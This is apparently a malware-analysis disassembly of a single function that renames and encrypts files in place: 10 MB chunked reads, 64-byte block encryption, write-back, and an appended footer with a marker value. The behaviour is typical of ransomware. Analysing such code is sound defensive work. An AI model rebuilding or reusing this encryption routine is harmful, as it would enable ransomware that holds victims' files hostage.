Function at 0x10002490
Capabilities:
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x29f4
call fcn.1000f9a0
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
push str.Start_encrypt_file:__ws_n
call fcn.100060a0
push 0x830
xor esi, esi
lea eax, [ebp - 0x970]
push esi
push eax
call fcn.10010260
movzx ecx, word [edi]
add esp, 0x14
test cx, cx
je 0x100024e5
xor eax, eax
nop
inc esi
mov word [ebp + eax - 0x970], cx
lea eax, [esi + esi]
movzx ecx, word [eax + edi]
test cx, cx
jne 0x100024d0
call fcn.10008230
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov ebx, dword [eax + 4]
mov dword [ebp + 8], ebx
cmp dword [ebp + 0x10], ecx
je 0x10002569
mov eax, 0x2e
mov word [ebp + esi*2 - 0x970], ax
inc esi
mov eax, dword [ebx + 0x3d0]
mov al, byte [eax]
test al, al
je 0x10002539
lea edx, [ebp - 0x970]
lea edx, [edx + esi*2]
nop dword [eax]
cbw
lea ecx, [ecx + 1]
lea edx, [edx + 2]
mov word [edx - 2], ax
mov eax, dword [ebx + 0x3d0]
mov al, byte [ecx + eax]
test al, al
jne 0x10002520
lea eax, [ebp - 0x970]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x10002569
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.____MoveFileW__ws__error__code:__d_n
call fcn.10006110
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x970]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [ebp - 0x2c], ebx
cmp ebx, 0xffffffff
jne 0x100025ed
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
je 0x100025c0
cmp eax, 0x21
je 0x100025c0
push eax
lea eax, [ebp - 0x970]
push eax
push str.____CreateFileW__ws__error__code:__d_n
call fcn.10006110
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x10], 0
je 0x100025e4
push edi
push str.____File__ws_is_locked_by_another_process._Try_unlock_n
call fcn.10006110
lea eax, [ebp - 0x970]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.10002940
add esp, 0x10
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push ebx
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x1000262e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x970]
push eax
push str.____GetFileSizeEx__ws__error__code__d_n
call fcn.10006110
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
mov eax, dword [eax + 0x3064]
cdq
push edx
push eax
call fcn.1000f830
push 0
push 0x64
push edx
push eax
call fcn.1000f780
push 0
push 0x40
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.1000f870
mov ecx, eax
or ecx, edx
je 0x10002677
mov ecx, 0x40
sub ecx, eax
mov eax, 0
sbb eax, edx
add esi, ecx
adc edi, eax
test edi, edi
jg 0x100026a0
jl 0x10002685
cmp esi, 0x500000
jae 0x100026a0
mov eax, dword [ebp - 0xc]
xor edi, edi
mov esi, 0x500000
test eax, eax
jg 0x100026a0
mov ecx, dword [ebp - 0x10]
jl 0x1000269c
cmp ecx, esi
jae 0x100026a0
mov esi, ecx
mov edi, eax
push 0
push 0xa00000
push edi
push esi
call fcn.1000f780
mov dword [ebp - 0x18], eax
imul eax, eax, 0xa00000
push 0
push 0x40
cdq
sub esi, eax
mov dword [ebp - 8], esi
sbb edi, edx
mov dword [ebp + 0x10], esi
push edi
push esi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
call fcn.1000f870
mov ecx, eax
or ecx, edx
je 0x100026eb
sub esi, eax
mov eax, edi
sbb eax, edx
add esi, 0x40
mov dword [ebp + 0x10], esi
adc eax, 0
mov dword [ebp - 0x1c], eax
push 0xa00000
call fcn.10006310
mov ecx, dword [ebp + 8]
mov edi, eax
lea eax, [ebp - 0x140]
add ecx, 0x1540
push eax
push edi
push dword [ebp + 0xc]
push ecx
call fcn.10001fb0
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x29f4]
push eax
call fcn.10004030
mov ecx, dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x20
cmp dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
jle 0x100027bd
push 0
lea eax, [ebp - 4]
push eax
push 0xa00000
push edi
push ebx
call ecx
test eax, eax
je 0x10002844
xor esi, esi
nop word [eax + eax]
lea eax, [esi + edi]
push eax
lea eax, [ebp - 0x29f4]
push eax
call fcn.10002f60
add esi, 0x40
add esp, 8
cmp esi, 0xa00000
jl 0x10002760
push 1
push 0
push 0xffffffffffffffff
push 0xff600000
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 4]
push eax
push 0xa00000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000282f
mov esi, dword [ebp - 0x14]
mov ecx, dword [sym.imp.KERNEL32.dll_ReadFile]
inc esi
mov dword [ebp - 0x14], esi
cmp esi, dword [ebp - 0x18]
jl 0x10002741
mov eax, dword [ebp - 8]
test eax, eax
je 0x10002878
push 0
lea edx, [ebp - 4]
push edx
push eax
push edi
push ebx
call ecx
test eax, eax
je 0x10002844
xor esi, esi
cmp dword [ebp + 0x10], esi
jle 0x100027fe
mov ebx, dword [ebp + 0x10]
lea eax, [esi + edi]
push eax
lea eax, [ebp - 0x29f4]
push eax
call fcn.10002f60
add esi, 0x40
add esp, 8
cmp esi, ebx
jl 0x100027e1
mov ebx, dword [ebp - 0x2c]
mov esi, dword [ebp - 8]
mov ecx, esi
mov eax, dword [ebp - 0x20]
neg ecx
push 1
adc eax, 0
push 0
neg eax
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1000287b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x970]
push eax
push str.____WriteFile__ws__error__code__d_n
jmp 0x10002857
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x970]
push eax
push str.____ReadFile__ws__error__code__d_n
call fcn.10006110
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.100063a0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 8]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x1c]
sub eax, esi
mov dword [ebp - 0x100], eax
sbb ecx, dword [ebp - 0x20]
mov dword [ebp - 0xfc], ecx
call fcn.10007b90
mov dword [ebp - 0xf8], eax
call fcn.10007b90
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xf4], eax
mov eax, dword [ecx + 0x3064]
mov dword [ebp - 0xf0], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x140]
mov dword [ebp - 0xec], 0xaabbccdd
push eax
mov eax, dword [ebp - 0x24]
add eax, 0x28
mov dword [ebp - 0x30], 0xf5
push eax
push ecx
call fcn.10006fa0
add esp, 0x10
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
push 2
push 0
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
lea eax, [ebp - 0x140]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000282f
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.100063a0
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret